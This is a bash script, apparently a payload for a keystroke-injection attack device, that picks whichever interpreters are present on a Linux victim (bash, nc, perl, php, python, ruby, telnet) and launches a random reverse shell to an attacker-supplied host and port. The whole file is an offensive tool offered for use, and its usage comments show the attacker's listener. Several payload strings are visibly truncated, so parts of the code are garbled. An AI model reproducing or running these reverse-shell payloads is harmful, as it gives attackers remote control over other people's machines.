#!/bin/bash # # Title: Random Reverse Shell # # Description: # 1) Checks the availability of binaries on the system. # 2) Builds a list of possible payloads. # 3) Performs one at random. # # Author: TW-D # Version: 1.0 # Category: Remote Access # Target: Linux # Attackmodes: HID and STORAGE # # TESTED ON # ========== # Ubuntu 20.04.4 LTS x86_64 (Xfce) # # USAGE # ========== # hacker@hacker-computer:~$ nc -lnvvp # victim@victim-computer:~$ $BASH ./random_reverse-shell.sh # set -eo pipefail readonly REMOTE_HOST="${1}" readonly REMOTE_PORT="${2}" readonly RANDOM_FILENAME="${RANDOM}" readonly BINARIES_LIST=( "/bin/bash" "/bin/mkfifo" "/bin/cat" "/bin/nc" "/bin/perl" "/bin/php" "/bin/python" "/bin/ruby" "/bin/sh" "/bin/mknod" "/bin/telnet" ) readonly BASH_PAYLOAD=$(cat < /dev/tcp/${REMOTE_HOST}/${REMOTE_PORT} 0<&1 2>&1 EOF ) # # [CTRL + c] # readonly NC_PAYLOAD=$(cat <&1 | /bin/nc ${REMOTE_HOST} ${REMOTE_PORT} > /tmp/${RANDOM_FILENAME} EOF ) # # Tested on Perl v5.30.0 # [CTRL + c] # readonly PERL_PAYLOAD=$(cat <fdopen(\$socket, "r"); ($~)->fdopen(\$socket, "w"); system(\$_) while<>' EOF ) # # Tested on PHP v7.4.3 # readonly PHP_PAYLOAD=$(cat <&3 2>&3");' EOF ) # # Tested on Python v2.7.18 # readonly PYTHON_PAYLOAD=$(cat < /dev/tcp/${REMOTE_HOST}/${REMOTE_PORT} 0<&1 2>&1 EOF ) readonly TELNET_PAYLOAD=$(cat </tmp/${RANDOM_FILENAME} EOF ) set -u available_binaries=() for binary in "${BINARIES_LIST[@]}"; do if command -v "${binary}" > /dev/null 2>&1; then available_binaries+=("${binary}") fi done available_payloads=() [[ "${available_binaries[*]}" =~ "/bin/bash" ]] && available_payloads+=("${BASH_PAYLOAD}") || echo "" [[ "${available_binaries[*]}" =~ "/bin/mkfifo" && "${available_binaries[*]}" =~ "/bin/cat" && "${available_binaries[*]}" =~ "/bin/nc" ]] && available_payloads+=("${NC_PAYLOAD}") || echo "" [[ "${available_binaries[*]}" =~ "/bin/perl" ]] && available_payloads+=("${PERL_PAYLOAD}") || echo "" [[ "${available_binaries[*]}" =~ "/bin/php" ]] && available_payloads+=("${PHP_PAYLOAD}") || echo "" [[ "${available_binaries[*]}" =~ "/bin/python" ]] && available_payloads+=("${PYTHON_PAYLOAD}") || echo "" [[ "${available_binaries[*]}" =~ "/bin/ruby" ]] && available_payloads+=("${RUBY_PAYLOAD}") || echo "" [[ "${available_binaries[*]}" =~ "/bin/sh" ]] && available_payloads+=("${SH_PAYLOAD}") || echo "" [[ "${available_binaries[*]}" =~ "/bin/mknod" && "${available_binaries[*]}" =~ "/bin/telnet" ]] && available_payloads+=("${TELNET_PAYLOAD}") || echo "" random_payload=${available_payloads[$RANDOM % "${#available_payloads[@]}"]} $BASH -c "${random_payload}" &